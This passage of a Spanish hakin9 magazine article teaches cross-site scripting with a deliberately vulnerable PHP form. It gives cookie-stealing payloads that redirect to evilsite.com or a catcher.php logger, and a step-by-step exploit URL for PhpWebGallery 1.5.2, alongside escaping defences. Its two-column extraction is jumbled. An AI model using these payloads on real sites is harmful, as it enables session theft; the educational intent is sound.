ejemplos tendrs que cargarlos en tu <title>XSS-Test | Introduzca mensaje</title>
servidor http. S consciente de que </head>
algunas configuraciones por defecto <body>
de servidores http filtran las entradas <form action="example.php">
<input type="text" name="title" value="Subject"><br /><br />
de los usuarios en busca de vulnera-
<textarea name="text" rows="16" cols="100">El contenido va aqu...
bilidades XSS . Esta funcin tendr </textarea><br />
que estar desactivada para que pue- <input type="submit" name="send" value="Enviar mensaje">
das usar los ejemplos. </form>
Dirige el navegador que hayas </body>
</html>';
elegido hacia el script. Vers un
formulario con un campo de entrada }
y una rea de texto para introducir if (!$text && $title){
el asunto del mensaje y algo de echo 'Es necesario que introduzcas un mensaje<br /><a
texto. En conjunto este es un dise- href="example.php">BACK</a>';
}
o bastante comn. Cualquier cosa
que pongas se te mostrar despus. if (!$title && $text){
Ahora intenta introducir los siguiente echo 'Es necesario que introduzcas un ttulo<br /><a
en la rea de texto: href="example.php">BACK</a>';

}
<script>alert("vulnerable");</script>
if ($text && $title) {
echo '
Una vez hayas enviado el formulario <html>
vers aparecer una ventana emergen- <head>
te con una alerta mostrando la palabra <title>XSS-Test | Mensajes nuevos</title>
</head>
vulnerable como aparece en la figura
<body>
1. Felicidades, acabas de inyectar c- <h3>Tus Mensajes nuevos:</h3><br />
digo JavaScript en un sitio web. <b>'.$title.'</b><br />
'.$text.'</body></html>';
Qu ha ocurrido }
?>
Echemos un vistazo al listado 2 que
contiene el cdigo HTML creado de

www.hakin9.org 71
Basics

forma dinmica. Como puedes ver la


entrada proporcionada por el usua-
rio est directamente incluida en el
cdigo.
As que cuando introducimos
cdigo script en la rea de texto
este cdigo ser directamente in-
cluido en el cdigo HTML. Un nave-
gador que est viendo el sitio web
no sabr de donde vino el cdigo
y cual era el propsito original del
sitio web. Simplemente interpretar
el cdigo suministrado y ejecutar
el script como hara con cualquier
otro. El cdigo ejecutado de est
forma trabajar dentro del mbito
Figura 2. Navegador alertando sobre el contenido de la cookie
de seguridad del sitio web atacado
haciendo la encriptacin de strea-
ms de datos y tcnicas similares Listado 2. El cdigo HTML despus de la inyeccin
intiles.
<html>
<head>
Anlisis del script PHP <title>XSS-Test | Mensajes nuevos</title>
Por qu ha sido posible inyectar </head>
cdigo como ste se hace obvio <body>
<h3>TusMensajes nuevos:</h3><br />
despus volver a mirar el cdi-
<b>Subject</b><br />
go PHP. echo '...'.$title.'<br <script>alert("vulnerable");</script>
/>'.$text.'...'; no hace otra cosa </body>
que obtener las variables $title </html>
y $text que son introducidas por
el usuario. Despus incluye el con-
tenido de estas variables dentro de contenidos indirectos, como las El script PHP ha colocado una
una cadena y repite toda la cadena aplicaciones de correo electrnico, cookie en tu ordenador. Intentemos
en el sitio web. pueden contener cdigo script. La acceder a ella con JavaScript! Vuel-
Mecanismos similares pueden mayora de los proveedores de ve al script PHP vulnerable y esta
encontrarse en una amplia variedad webmail ms importantes han te- vez introduce
de aplicaciones web. Por ejemplo: nido problemas con el XSS en los
ltimos aos. <script>alert(document.cookie)
Libros de visitas, ;</script>
Foros, Informacin delicada
Mensajes privados, Exploremos uno de los mtodos en la rea de texto.
Blogs, ms sencillos para obtener infor- Vers algo parecido a la figura
Wikis. macin delicada. Frecuentemente la 2. Una ventana de alerta aparecer
informacin de inters estar alma- y mostrar las palabras xss=This+
todos dependen del mismo me- cenada en una cookie. Las cookies content+will+be+stored+in+a+cooki
canismo. La diferencia es que las son utilizadas habitualmente para e. En este caso xss es el nombre de
aplicaciones web reales suelen almacenar credenciales de usuario, la cookie y This+content+will+be+s
almacenar la entrada en una base identificadores de sesin, y valores- tored+in+a+cookie es su contenido.
de datos e incluirla bajo demanda hash junto con otra informacin que Por supuesto sera posible leer va-
en el sitio web de unos usuarios tambin puede ser importante en rias cookies de esta forma.
especficos. Pero no pienses que ataques ms complejos. Por ejem- As que somos capaces de crear
slo las aplicaciones web que plo, las preferencias del usuario una alerta con el contenido de la co-
reciben entradas directas de usua- o las fechas de login algunas veces okie. Sin embargo esto por si solo no
rios son vulnerables. Tambin los pueden ser aprovechadas. hara nada peligroso. En el caso de

Figura 3. Navegador siendo redirigido hacia un sitio web malicioso

72 www.hakin9.org
Inyeccin de cdigo

un ataque slo molestara al usuario


y tal vez le hara sospechar que algo
no funciona como debera.
Cmo se puede transmitir el
contenido de una cookie al atacan-
te? Figura 4. Barra de estado del navegador mostrando contenido JavaScript
Bueno, como siempre se puede
hacer de diferentes maneras. Te
mostrar uno de los conceptos ms Listado 3. Script PHP con filtrado bsico
bsicos. Haremos que el navegador
<?php
del usuario se redirija automtica- setcookie("xss", "El contenido se almacenara en una cookie");
mente a otro sitio web mientras que $text = $_GET['text'];
enva la cookie como argumento. En $title = $_GET['title'];
este caso el otro sitio web segura-
function filter($input){
mente ser un script de algn tipo
$input = ereg_replace("<script>", "", $input);
que guardar el contenido enviado $input = ereg_replace("</script>", "", $input);
como un registro en un archivo return $input;
o base de datos. }
Basta de teora; pasemos a la
$text = filter($text);
prctica. Dirige de nuevo tu navega-
$title = filter($title);
dor hacia el script PHP vulnerable.
Esta vez escribe if (!$text && !$title){
echo '
<script>document.location= <html>
<head>
"http://www.evilsite.com/
<title>XSS-Test | Introduzca mensaje</title>
evilscript.php?info </head>
="+document.cookie;</script> <body>
<form action="simple.php">
en la rea de texto. <input type="text" name="title" value="Subject"><br /><br />
<textarea name="text" rows="16" cols="100">El contenido va aqu...
Vers algo parecido a la Figura 3.
</textarea><br />
El navegador se redirige al sitio web <input type="submit" name="send" value="Enviar mensaje">
evilsite.com y aade la informacin </form>
de la cookie. En realidad el conteni- </body>
do sensible habra sido robado. </html>';

}
Filtrado Simple if (!$text && $title){
Como has visto los sitios webs echo 'Es necesario que introduzcas un message<br /><a
creados dinmicamente son vul- href="simple.php">BACK</a>';
nerables al XSS cuando toman la
}
entrada de un usuario y la incluyen
en el cdigo HTML. As que, cmo if (!$title && $text){
es posible protegernos de este tipo echo 'Es necesario que introduzcas un title<br /><a
de ataques? En esta subseccin href="simple.php">BACK</a>';
veremos el filtrado bsico y exami-
}
naremos como puede ser evitado.
if ($text && $title) {
Empecemos.
El Listado 3 contiene el mismo echo '
script PHP que ya conoces del <html>
Listado 1. Sin embargo este script <head>
<title>XSS-Test | Mensajes nuevos</title>
PHP implementa una funcin lla-
</head>
mada filter(). Esta funcin busca <body>
el string que es pasado como argu- <h3>TusMensajes nuevos:</h3><br />
mento para las etiquetas <script>- <b>'.$title.'</b><br />
y </script> - y las elimina. El script '.$text.'</body></html>';
}
tambin aplica la funcin filter()
?>
a las variables que contienen las
entradas del usuario. De esta for-

www.hakin9.org 73
Basics

ma no podremos utilizar el tipo de mucha gente no entiende ni siquiera a donde lleva un link. Tendemos a
scripts que hemos usado antes ya el concepto de enlace. Adems nor- creer que el contexto del link nos lo
que dependen de estas etiquetas. malmente la gente no comprueba dice. As es muy probable que seha-
Sin embargo este tipo de filtrado
no es para nada seguro. Existen
diversos mtodos que nos permi- Mtodos para incluir cdigo
tarn evitar este mecanismo. As Inyectar cdigo en sitios web vulnerables es slo una de las muchas posibilidades.
que echemos un vistazo a algunos Como describe este artculo tambin se puede incluir cdigo con enlaces y efectos
de ellos. onmouseover. Echemos un vistazo a una pequea coleccin de la amplia variedad de
lugares y tcnicas para incluir cdigo. No esperes que todas funcionen con tu navega-
dor ya que algunas son especficas para cada navegador.
Evitando
el Filtrado Bsico <SCRIPT SRC=http://www.evilsite.com/evilcode.js></script>
Ya que no podremos colocar nues-
tro cdigo entre etiquetas <script> Dejando que el sitio web incluya cdigo script procedente de un archivo podemos
colocaremos nuestro cdigo en algo evitar las limitaciones de tamao. Adems el cdigo HTML no aparecer directamente
diferente. hacindolo ms difcil de detectar. En algunos casos el contexto de seguridad del sitio
Los enlaces son bastante tiles web es importante ya que puede bloquear cdigo procedente de terceros. En este ca-
so recuerda que el archivo que contiene el cdigo no tiene que tener la extensin .js.
para esto. Pueden contener JavaS-
Si es posible subir archivos tales como imgenes al servidor frecuentemente puedes
cript para permitir a los programado-
engaar al sitio web llamando al archivo que contiene el cdigo script harmless.jpg e
res crear sitios que actuen de forma incluyndolo despus. Como viene del mismo servido en muchos casos ser tratado
ms dinmica. Por ejemplo, se pue- como un objeto seguro.
den utilizar para abrir ventanas pe-
queas que contengan informacin <img src=javascript:alert('vulnerable');>
sobre productos o para llevar a cabo
A veces es posible incluir cdigo en la etiqueta de una imagen. Esto puede aprovechar-
acciones ms complejas dentro de
se en los casos en los que el sitio web atacado filtre correctamente la entrada de un
un framework de JavaScript.
usuario pero usa un formulario diferente para permitir al usuario que inserte imgenes
Lleva tu navegador al script PHP en el texto sin filtrado. Si al usuario se le da la posibilidad de especificar el origen de la
mejorado. Si quieres asegurarte de imagen hay posibilidades de insertar cdigo.
que el mtodo que hemos usado
antes ya no funciona puedes jugar <a href="javascript:alert(&quot;XSS&quot;)">ClickMe!<>/a
con l. Ahora introduzcamos el
En la situaciones en las que puedas usar comillas dobles o simples juntas es posible
enlace en la rea de texto. En lu-
cambiar estas comillas en el cdigo JavaScript con sus secuencias de escape.
gar de pasar una URL pasaremos
el identificador javascript: seguido <body onload=alert("vulnerable")>
de nuestro cdigo. El enlace com-
pleto debera parecerse a este Esta construccin nos permite incluir cdigo script en una etiqueta <body> que se eje-
<a href="javascript:alert('still cuta durante el evento Onload. El Onload ocurre cada vez que el navegador analiza
vulnerable');">ClickMe!</a>.
el cdigo, de manera que el cdigo siempre se ejecutar en una situacin vulnerable.
Esto se puede utilizar en situaciones en las que la entrada de un usuario determina el
Cuando muevas el ratn por
comportamiento de un sitio web manipulando los parmetros del cuerpo del sitio web.
encima del enlace la barra de es-
tado del navegador seguramente <a href="javascript:alert('vulnerable'); <
se parezca a la figura 4. Al hacer
click sobre el enlace se ejecutar el Los navegadores construidos con el motor de renderizado Gecko ejecutarn habitual-
cdigo JavaScript y se mostrar la mente bloques de cdigo que no contengan etiquetas de cierre, ya que las cierra auto-
alerta still vulnerable. Por supuesto mticamente. El ejemplo de arriba crear un enlace representado por < que ejecutar
cdigo despus de hacer click sobre l. Esto puede ser muy til si la inyeccin se lleva
los mtodos que usamos antes para
a cabo dentro de otra etiqueta.
robar la cookie siguen funcionando
aqu. <iframe src=http://www.evilsite.com/evilscript.html>
A primera vista parece poco
probable que un usuario haga click Cuando inyectamos un iframe en un sitio web vulnerable es posible hacer que el sitio
en el link. Despus de todo ver el web cargue el cdigo que se encuentra en el interior del cdigo de ejecucin del iframe.
JavaScript en su barra de estado En este ejemplo, el archivo html evilscript.html tendra que contener el script que el
atacante quiera ejecutar.
y eso debera hacerle sospechar.
Sin embargo la mayora de la gente <iframe src="javascript:alert('vulnerable');"></iframe>
que navega por la red no conocen
JavaScript y por lo tanto no entien- Por supuesto, tambin se puede inyectar cdigo directamente en un iframe.
den lo que har el enlace. De hecho

74 www.hakin9.org
Inyeccin de cdigo

ga click sobre un enlace que prome- utilizados para crear sitios web otras imgenes. As que creemos
ta informacin detallada sobre algo interactivos. Por ejemplo, cuando un ataque Introduce:
importante o relojes baratos. mueves el ratn sobre una barra
Pero incluso si el usuario no lateral y la barra lateral parece <a onmouseover="javascript:alert
hace click en un enlace todava desplazarse hacia cualquier sitio ('vulnerable without clicking')">
somos capaces de ejecutar el hacia el que te muevas esto es un Move your mouse over me!</a>
cdigo. La palabra clave aqu conjunto de efectos onmouseover
es onmouseover. Efectos como que reemplaza las imgenes so- en la rea de texto del script mejo-
onmouseover son normalmente bre las que desplazas el ratn con rado. Si mueves el ratn sobre el
texto ahora tu navegador ejecutar
Listado 4. script PHP protegido mediante escaping el cdigo incluido y mostrar la
alerta vulnerable without clicking.
<?php Como este texto no parece diferente
setcookie("xss", "El contenido se almacenar en una cookie");
del texto normal el usuario no ser
$text = $_GET['text'];
$title = $_GET['title'];
capaz de distinguirlo y hay posibi-
lidad de que mueva el ratn sobre
function escaping($input){ l. Algunos trucos para mejorar la
$input = htmlentities($input); probabilidad an ms son insertar
return $input;
mucho texto o una imagen enorme.
}
Dependiendo del diseo del sitio
$title = escaping($title); web esto puede aumentar mucho
$text = escaping($text); la probabilidad de que tu cdigo sea
ejecutado.
if (!$text && !$title){
echo '
<html>
Filtrado Avanzado
<head> Hasta ahora has visto como funcio-
<title>XSS-Test | Introduzca mensaje</title> na la inyeccin de cdigo y como
</head> se puede evitar el filtrado bsico.
<body>
Ahora veremos conceptos de fil-
<form action="advanced.php">
<input type="text" name="title" value="Subject"><br /><br />
trado ms eficientes que nos per-
<textarea name="text" rows="16" cols="100">El contenido va aqu... mitan prevenir ataques tipo XSS.
</textarea><br /> Bsicamente hay dos formas de
<input type="submit" name="send" value="Enviar mensaje"> hacer esto. O evitamos todos los
</form>
caracteres especiales o usamos
</body>
</html>';
listas detalladas y expresiones
regulares para quitar las etiquetas
} peligrosas. Ambos mtodos tienen
if (!$text && $title){ ventajas y desventajas que ms
echo 'Es necesario que introduzcas un message<br /><a href="advanced.p
tarde veremos.
hp">BACK</a>';
}
El Listado 4 contiene la versin
final de nuestro script PHP. Esta vez
if (!$title && $text){ la funcin htmlentities() es usada
echo 'Es necesario que introduzcas un title<br /><a href="advanced.php para escapar las entradas del usua-
">BACK</a>';
rio y de esta manera reemplazar
}
todos los caracteres especiales por
if ($text && $title) { su equivalente HTML las llamadas
echo ' escape-sequences (secuencias de
<html> escape). Las escapes-sequences se
<head>
usan habitualmente para romper ca-
<title>XSS-Test | New Mensajes nuevos</title>
</head>
racteres especiales en varios carac-
<body> teres normales y evitar problemas
<h3>Tus mensajes nuevos:</h3><br /> con codificaciones diferentes. Por
<b>'.$title.'</b><br /> ejemplo la letra alemana es repre-
'.$text.'</body></html>';
sentada por la secuencia &Auml;. De
}
?>
esta manera se mostrar el carcter
correcto sin importar que codifica-
cin use tu navegador. Sin embargo

www.hakin9.org 75
Basics

tambin podemos usar esto para sern bloqueadas. Esto impedir formato de texto tendrs que crear
nuestros propsitos. Las escape- que el usuario use etiquetas HTML una interfaz que use un formato di-
sequences slo parecen el caracter para formatear su texto. Si quieres ferente a las etiquetas para expresar
que representan, pero no comparten mantener las funcionalidades de formatos.
su funcionalidad.
Echemos un vistazo a este
ejemplo. Las strings <script>
y &lt;script&gt; parecen exacta-
mente iguales cuando son ana-
lizadas. Sin embargo cualquier
navegador tratar <script> como
una etiqueta que marca el inicio de
un bloque de cdigo mientras que
&lt;script&gt; ser tratada como
lo sera cualquier otra string normal.
Con esto en mente se hace obvio por
qu podemos prevenir ataques XSS
con escaping: Sea lo que sea lo que
el atacante introduzca no ser trata-
do de manera especial sino como un
string de texto normal. As que cuan- Figura 5. Ataque XSS fallido gracias al escaping
do probemos los patrones de ataque
que hemos visto antes no seremos
capaces de ejecutar cdigo. Tmate
la libertad de probarlo. Vers algo
similar a la Figura 5.
El segundo concepto es bastan-
te ms difcil de entender. En lugar
de escapar todos los caracteres
peligrosos de la entrada del usua-
rio tenemos que filtrar el contenido
peligroso. Tal contenido pueden
ser etiquetas <script> o JavaScript
en enlaces, etc. Es necesario crear
una base de datos exhaustiva de
contenido peligroso y desarrollar
expresiones regulares para poder
encontrarlo y filtrarlo. Esto va mu-
cho ms haya de los objetivos del Figura 6. PHPWebGallery con alerta de la cookie del usuario
este artculo. Sin embargo si ests Tabla 1. HTML-escape-sequences
interesado en aprender ms acer-
ca de este tema puedes encontrar Character Escape-Sequence
enlaces informativos en la seccin " &#34;
En la red.
& & &#38;

Desventajas + &#43;
de ambos mtodos < < &#60;
Como has visto hay dos conceptos > > &#62;
que nos permiten prevenir ataques = &#61;
XSS. Ahora veamos las desventa-
\ &#92;
jas.
Hacer escaping de todos los ca- [ &#91;
racteres especiales es las forma ms ] &#93;
fcil y segura de tratar con el XSS. ^ &#94;
El peor inconveniente sin embargo { &#123;
es que todos los caracteres espe-
} &#125;
ciales, y por tanto todas etiquetas,

76 www.hakin9.org
Inyeccin de cdigo

El filtrado basado en listas no se y prevenido. Sin embargo para para intentar robar la cookie de un
enfrenta a este inconveniente ya que una comprensin ms fcil hemos usuario!
no elimina todo, slo las etiquetas trabajado siempre con los scripts Puedes encontrar la versin
peligrosas para las que crees expre- de muestra suministrados. As que vulnerable 1.5.2 en el livecd de ha-
siones regulares. Sin embargo esto para terminar echemos un vistazo kin9. Incialo y redirige firefox a http://
tambin es el principal problema. a una aplicacin vulnerable del mun- localhost/phpwebgallery/comments.
Nuevos vectores de ataque apa- do real. php. Aunque el mail que contena
recen de vez en cuando. Siempre El 4 de Julio de 2006, la gente del la notificacin sobre esta vulnerabi-
habr sitios donde se descubrir que Moroccan Security Research Team lidad inclua una string con el exploit,
se puede incluir cdigo. Algunas ve- envi un mail a la lista de correo nosotros no trabajaremos con ella.
ces el estndar HTML cambiar un ail BUGTRAQ. En el anunciaban En su lugar, te guiar para que crees
poco. Para mantener la seguridad la a la comunidad que una vulnerabi- tu propio ataque.
expresiones regulares tendrn que lidad XSS se haba encontrado en Sabemos que la entrada Ke-
ser actualizadas. Por esta misma PhpWebGallery y afectaba a todas yword no es segura; as que veamos
razn, este concepto te hace vulne- las versiones inferiores o iguales como una entrada colocada en ella
rable a aquellos vectores de ataque a la 1.5.2. El problema reside en se pasa al cdigo HTML. Para hacer
que todava no han sido hechos p- el archivo llamado comments.php esto simplemente escribiremos una
blicos, ya que slo puedes filtrar los que ofrece funcionalidad para ver cadena en la entrada y despus mi-
conocidos. y filtrar comentarios de los usuarios. raremos el cdigo HTML hasta que
Sin embargo, la entrada localizada la encontremos. En este ejemplo he
El mundo real en el campo Keyword no es com- elegido poner como mi entrada XSS-
Hasta ahora has visto que es el XSS probado correctamente. As que codegoeshere. Despus de introdu-
y como puede ser implementado aprovechmonos de este hecho cirlo podemos encontrar la siguiente
lnea en el sitio web:

Listado 5. Script PHP que guarda un argumento <label>Keyword<input type="text"


name="keyword"
<?php
value="XSScodegoeshere" />
$file = fopen("pwsave.txt","w");
fwrite($file, $_GET[pw]); </label>
fclose($file);
?> Como ves cualquier cosa que escri-
bamos es usado despus como el
valor del campo. Tambin puedes
ver que nuestra entrada est colo-
Posibilidades de ataque cada entre dobles comillas y conte-
Como este artculo esta creado para mostrarte la tcnica que hay detrs del XSS slo nida en el interior de una etiqueta de
hemos implementado un nico ataque a modo de muestra pero el XSS tiene muchas input. Debido a estas circunstancias
ms posibilidades que el robo de cookies.
lo primero que nos tenemos que
Desinformacin La funcin document.write() tiene un alto potencial para la co- lograr es romper las comillas y los
locacin de informacin falsa. Imagina un sitio importante de noticias vulnerable al parntesis. Afortunadamente el sitio
XSS. Un atacante podra crear una URL que incluyera un artculo sobre un ataque web no filtra estos tampoco as que
nuclear en algn sitio y distribuir esa URL mediante correo electrnico o foros. El podemos romperlo escribiendo en
mensaje recibira credibilidad por parte del sitio web y muchos creeran el conteni- el campo keyword. Aadamos la
do, misma string que introducimos antes
Alteracin Similar al parrafo anterior, los sitios web podran ser alterados. Por despus de la nuestra secuencia de
ejemplo, se podra colocar una imagen dentro del sitio web o el navegador del ruptura y veremos como cambia el
usuario podra ser redirigido a otro lugar,
cdigo HTML:
Seguimiento de usuarios Un atacante inteligente podra crear cdigo que infor-
mara sobre los enlaces sobre los que un usuario hace click junto con la hora a
<label>Keyword<input type="text"
la que ocurri a otro servidor. El mecanismo es bien conocido de herramientas
estdisticas para sitios web escritas en lenguajes de script, name="keyword" value="\">

Generar trfico Tomemos otra vez como ejemplo los principales sitos de noticias. XSScodegoeshere" /></label>
Muy probablemente tengan cientos de visitantes todos los das. Si una atacante
incluye cdigo para cargar el archivo ms grande que contenga el servidor web de Como puedes ver nuestra entrada
la victima, cada vez que es ejecutado esto causara un trfico masivo que debera est fuera de las comillas y los
suficiente para crear un ataque DOS en cualquier servidor de tamao pequeo o parntesis. De esta forma ser tra-
mediano. tado como contenido normal por un
navegador. Como queremos robar la

www.hakin9.org 77
Basics

cookie de un usuario tendremos que todava tiene un error importante conceptos. Aunque mucha gente to-
acceder para poder recibir una coo- en la lgica que hay detrs de l: dava no se da cuenta del potencial
kie para robar. As que dirige firefox a Por qu debera el usuario objeti- que tiene el XSS y piensan que es
http://localhost/phpwebgallery/ y ac- vo introducir todo esto en el campo una especie de juguete para script-
cede como el usuario admin usando vulnerable? Por supuesto no hay kiddies que permite que molestas
el password hakin9. Despus vuelve ninguna razn para hacer esto. ventanas aparezcan en la ventana
a la pgina de comentarios. Afortunadamente podemos acceder del usuario. Como ya sabes, este no
Ahora tenemos todo lo que ne- al campo Keyword a travs de la es el caso.
cesitamos para crear un ataque. URL. Mediante la creacin de una Sea quien sea la persona im-
Sabemos que el campo Keyword es URL que complete la misma tarea plicada en el desarrollo de aplica-
vulnerable a XSS, podemos hacer ganamos la opcin de incluir esta ciones web debera tomar medidas
un escaping de las etiquetas y los URL dentro del enlace. Despus para proteger su trabajo de ser apro-
parntesis y tenemos una cookie todo lo que tenemos que hacer es vechado para ataques. La forma de
en el disco duro. Antes de usar que el usuario objetivo haga click en llevar a cabo esto es una cuestin de
mecanismos ms avanzados para el enlace lo que debera ser posible gustos y esfuerzo pero tambin una
poder robar la cookie del usuario con algunas habilidades de ingenie- cuestin que depende de las funcio-
dirigindole a un script malicioso. ra social. nalidades que vaya a contener la
Asegurmonos de que podemos Para poder pasar caracteres aplicacin web. Por lo tanto es difcil
inyectar cdigo como hemos planea- especiales a travs de la URL, o incluso imposible crear una solu-
do y hacer una alerta con la cookie. tendremos que hacer escaping. Sin cin nica para todo los propsitos
Nuestra string de ataque en este embargo, no pienses que esto puede como casi siempre en lo referente
caso ser: afectar de algn modo. El servidor a la seguridad es necesaria una
har unscaping antes de crear din- solucin a medida. Es muy proba-
"><script>alert(document.cookie) micamente la pgina. Nuestra cade- ble que aparezcan nuevos vectores
</script> na de ataque finalmente se parecer de ataque en el futuro que dejen
a la siguiente: muchos sitios webs vulnerables de
Vers algo similar a la figura 6 donde http://localhost/phpwebgallery/com nuevo. Cosas similares han pasado
la cookie obviamente almacena el ments.php?keyword=%22%3E%3C y todava estn pasando con los
identificador de sesin del usuario. script%3Edocument.location=%22h desbordamientos de buffer. Siempre
Ahora finalicemos este ataque. Para ttp://localhost/catcher.php?pw=%22 que se ha pensando que se ha en-
poder robar el contenido de la cookie +document.cookie%3C/script%3E contrado la solucin final alguien ha
haremos que el navegador del usua- Si podemos hacer que el usuario encontrado la forma de evitar todas
rio se redirija automticamente a un objetivo visite este sitio haremos que las medidas de seguridad y romper
script que capturar el contenido el script le robe su cookie. Felicida- el cdigo.
de la cookie y lo almacenar en un des! Si queremos dar cuenta de es-
archivo. te problema de forma sofisticada
Este script tambin puede en- Conclusin tendremos que contribuir teniendo
contrarse en el livecd de hakin9. Se Como has visto en las pginas an- cuidado con las aplicaciones web
llama catcher.php. As que usemos teriores es posible defenderse de con las que trabajamos o desarro-
la tcnica bsica de redireccin los ataques XSS usando diferentes llamos. l
del navegador del usuario usando
document.location y aadiendo el
contenido de la cookie. Sobre el Autor
El autor est en el ltimo ao del instituto en Alemania. Empez a aprender seguridad
informtica de forma autodidacta ya que quera encontrar una forma de irse a vivir a
><script>document.location =
Japn.
http://localhost/catcher.php?
Se puede contactar con l en psz@observed.de
pw=+document.cookie</script>

Una vez que introducimos esta en-


trada, firefox se redirigir automti-
camente al script. El script coge el
En la Red
contenido de la cookie y lo escribe http://ha.ckers.org/xss.html Cheat Sheet for XSS-attacks,
en la el archivo pwsave.txt. Desde http://webmonkey.wired.com/webmonkey/reference/special_characters/ - lista
all podremos leerlo. exhaustiva de secuencias de escape,
Probablemente te habrs dado http://pixel-apes.com/safehtml/?page=safehtml SafeHTML un acercaminento al
cuenta de que aunque el ataque filtrado basado en listas de expresiones regulares.
funciona perfectamente en teora,

78 www.hakin9.org
Pginas recomendadas

Una especie de portal para la gente a que CyruxNET all encontrars la informacin Sitio de noticias que brinda la ms variada in-
le gusta la informtica y la seguridad. Si te gu- detallada sobre las tcnicas hack ms po- formacin en cuanto al mundo de los mviles,
sta este mundo, te gustar elhacker.net. pulares. enlaces, contactos, y mucho ms.
http://www.elhacker.net http://www.cyruxnet.org www.diginota.com

Un lugar de encuentro para todos interesados Hack Hispano, comunidad de usuarios en la Un espacio libre para compartir: descargas,
en temas de seguridad que se tratan temas de actualidad sobre nuevas software, programas oscuros, dudas, noticias,
www.daboweb.com tecnologas, Internet y seguridad informtica. trucos... y ms cosas a ritmo de blues.
http://www.hackhispano.com http://www.viejoblues.com

Aqu encontrars todo lo que debes saber Tecnologa, informtica e Internet. All encontra- Indaya teaM fue creada por un grupo de per-
www.segu-info.com.ar rs enlaces, foros, fondos de escritorio y una bi- sonas amantes de la informtica para ayudar
blioteca repleta de artculos interesantes... a todos los que se interesan por la informtica.
http://www.hispabyte.net http://www.indaya.com

Web especializada en artculos tcnicos sobre Seguridad0 es un magazine gratuito de seguri- DelitosInformaticos.com revista digital de infor-
Linux. Aqu encontrars las ltimas noticias so- dad informtica. Tiene una periodicidad sema- macin legal sobre nuevas tecnologas.
bre Linux y Software Libre, foros. nal, aunque se anaden noticias a diario. www.delitosinformaticos.com
www.diariolinux.com http://www.seguridad0.com

Pginas recomendadas
Si tienes una pgina web interesante y quieres que la presentemos en
nuestra seccin de Pginas recomendadas contctanos: es@hakin9.org
www.buyitpress.com

Suscrbete a tus revistas favoritas


y pide los nmeros atrasados!

Regalos para nuevos suscriptores!

Ahora te puedes suscribir a tus revistas preferidas en tan slo un momento y de manera segura.
Te garantizamos:
precios preferibles,
pago en lnea,
rapidez en atender tu pedido.
Suscripcin segura a todas las revistas de Software-Wydawnictwo!
Pedido de suscripcin

Por favor, rellena este cupn y mndalo por fax: 0048 22 887 10 11 o por correo: Software-Wydawnictwo Sp. z o. o.,
Bokserska 1, 02-682 Varsovia, Polonia; e-mail: suscripcion@software.com.pl

Nombre(s) ................................................................................................... Apellido(s) ..................................................................................................

Direccin ..............................................................................................................................................................................................................................

C.P. .............................................................................................................. Poblacin ....................................................................................................

Telfono ..................................................................................................... Fax ...............................................................................................................

Suscripcin a partir del No ...................................................................................................................................................................................................

e-mail (para poder recibir la factura) ..................................................................................................................................................................................

o Renovacin automtica de la suscripcin

Ttulo
nmero de nmero de
a partir
ejemplares suscripcio- Precio
del nmero
al ao nes

Sofware Developers Journal Extra! (1 CD-ROM)


el antiguo Software 2.0 6 38
Bimestral para programadores profesionales

Linux+DVD (2 DVDs)
12 69
Mensual con dos DVDs dedicado a Linux

Hakin9 cmo defenderse? (2 CD-ROM)


Mensual para las personas que se interesan por la seguridad 12 69
de sistemas informticos

Linux+ExtraPack (7 CD-ROMs)
6 50
Las distribuciones de Linux ms populares

MSCoder (2 CD-ROM)
6 38
Independent magazine for developers using Microsoft platforms

En total

Realizo el pago con:


tarjeta de crdito (EuroCard/MasterCard/Visa/American Express) nO CVC Code
Vlida hasta
transferencia bancaria a BANCO SANTANDER CENTRAL HISPANO
Nmero de la cuenta bancaria: 0049-1555-11-221-0160876
IBAN: ES33 0049 1555 1122 1016 0876
cdigo SWIFT del banco (BIC): BSCHESMM Fecha y firma obligatorias:
hakin9 2/2007
En el nmero siguiente,
entre otros:
Prximo nmero

Riesgos de tecnologa RFID


RFID, es una tecnologa de identificacin por radiofrecuencias, que permite
Ataque el reconocimiento automtico a distancia, basado en uno de sus principales
componentes los TAGS (Etiquetas) de RFID, permitiendo esto un beneficio
muy importante en lo que se refiere a la logistica, la distribucion y la cadena
de abastecimiento, pero como veremos ms adelante la aplicacin de esta
tecnologa, tambin est siendo adoptada en muchos otros aspectos y pro-
cesos, como el control de accesos y el pago electrnico y la identificacin
de documentacin personal. Un Sistema de RFID suele basarse en varios
componentes: Tags, Tag Readers, Front-Ends, Middleware, Back-Ends.

Violacin y Aplicacin de Polticas


de Seguridad con IDS y Firewall
Ataque Cuando se formula una poltica de seguridad esta incluir temas como
configuraciones obligatorias de firewalls y la monitorizacin de los logs de
los firewalls para verificar violaciones de la poltica. Lo que muchas veces
se pasa por alto, es que como todos los dispositivos informticos, pueden
fallar. Ha habido varios fallos bien publicitados en varias soluciones firewall,
tanto comerciales como Open Source. Los Firewalls pueden dividirse en
dos categoras basndonos en la idea que hay detrs de su configuracin:
es o cualquier cosa no explcitamente permitida est prohibida o cualquier
cosa no explcitamente prohibida est permitida. Histricamente, la segunda
forma, i.e. un firewall permisivo, ha sido la ms comn, pero segn creca
Internet y sus amenazas, la primera forma se ha convertido en la eleccin.
Esta forma tambin puede verse como una larga lista de reglas de listas
blancas que permiten acciones cerradas con una regla catch-all que deniega
todo lo dems. Una regla de firewall se define como una descripcin (espe-
cfica de cada producto) que indica a la solucin firewall que hacer con un
determinado tipo de trfico. Por ejemplo, podramos tener una regla definida
como: permitir todo el acceso a nuestro sitio web corporativo desde la red
interna. Esta regla es un ejemplo de una lista blanca, algo que especifica
comportamiento autorizado y esperado.

En el CD:
hakin9.live distribucin bootable de Linux,
muchas herramientas composicin imprescindible de un hacker,
tutoriales ejercicios prcticos de los problemas tratados en los artculos,
documentacin adicional,
versiones completas de aplicaciones comerciales.

Informacin actual sobre el prximo nmero


http://www.hakin9.org/es
El nmero est a la venta desde principios de Enero de 2007.
La redaccin se reserva el derecho a cambiar el contenido de la revista.
http://Prialedescargas.tk